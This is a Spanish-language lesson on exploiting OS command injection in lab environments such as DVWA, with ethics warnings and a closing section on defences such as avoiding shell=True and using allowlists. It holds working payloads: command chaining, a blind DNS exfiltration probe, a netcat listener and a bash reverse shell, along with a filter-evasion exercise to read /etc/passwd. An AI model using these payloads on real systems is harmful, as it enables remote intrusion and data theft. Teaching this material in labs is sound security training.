Parte: 4 — Seguridad de aplicaciones web · Fuente: The Web Application Hacker's Handbook (Stuttard & Pinto) ⏱️ Duración estimada: 100 min · Nivel: Avanzado
Explotar la inyección de comandos del SO (OS command injection): cuando una aplicación pasa entrada del usuario a un shell del sistema, un atacante puede ejecutar comandos arbitrarios. Es una de las vulnerabilidades de mayor impacto porque suele derivar en ejecución remota de código (RCE).
⚠️ Ética: RCE es de máximo impacto. Practica exclusivamente en DVWA, PortSwigger labs o entornos con autorización escrita. Ejecutar comandos en sistemas ajenos es un delito grave.
Al finalizar, el alumno podrá:
;, |, &&, $()).| # | Tema | Por qué importa |
|---|---|---|
| 1 | Cómo el input llega al shell | Causa raíz del fallo |
| 2 | Metacaracteres de encadenado | Herramienta básica de explotación |
| 3 | Command injection ciega | Sin salida visible |
| 4 | Detección temporal y OOB | Confirmar sin ver output |
| 5 | Reverse shell en lab | Demostrar impacto real |
| 6 | Diferencias Linux/Windows | Sintaxis del shell varía |
| 7 | Defensa: evitar system(), allowlists | Cierre del fallo |
;, &&, |, `, $()). Característica: rompe el comando previsto.sleep o nslookup.# En tu máquina atacante (lab): escuchar
nc -lvnp 4444
⚠️ Solo en DVWA/labs propios y aislados.
127.0.0.1) y observa el ping.127.0.0.1; whoami y verifica que se ejecuta.| id, && uname -a, $(id).127.0.0.1; sleep 5.127.0.0.1; nslookup $(whoami).tu-collaborator y observa la interacción DNS.127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'
&, %COMPUTERNAME% o %USERNAME%).subprocess con lista de argumentos (sin shell=True).Consigue ejecución de comandos en DVWA nivel Medium (que filtra algunos caracteres) evadiendo el filtro, y demuestra el acceso listando /etc/passwd.
Criterio de aceptación: entregas el payload que evade el filtro, la evidencia de lectura de /etc/passwd y la corrección de código que eliminaría la vulnerabilidad.
| Síntoma / mensaje | Causa y cómo arreglar |
|---|---|
| El separador se filtra | Nivel Medium bloquea ;/&&; prueba \| o encoding |
| No hay salida | Inyección ciega; usa tiempo u OOB |
| Reverse shell no conecta | Firewall/NAT del lab; revisa IP y puerto |
| Comando no existe en Windows | Sintaxis distinta; usa comandos nativos |
| Falso positivo por latencia | Repite la prueba de sleep varias veces |
❓ ¿Por qué es tan grave? Porque ejecutar comandos suele equivaler a controlar el servidor (RCE), el peor escenario posible.
❓ ¿shell=True es el problema?
A menudo sí. Pasar input a un shell es la causa. Usa APIs que reciban argumentos como lista, sin intérprete de shell.
❓ ¿Escapar caracteres basta? Es frágil. Mejor evitar el shell por completo y validar con allowlists estrictas.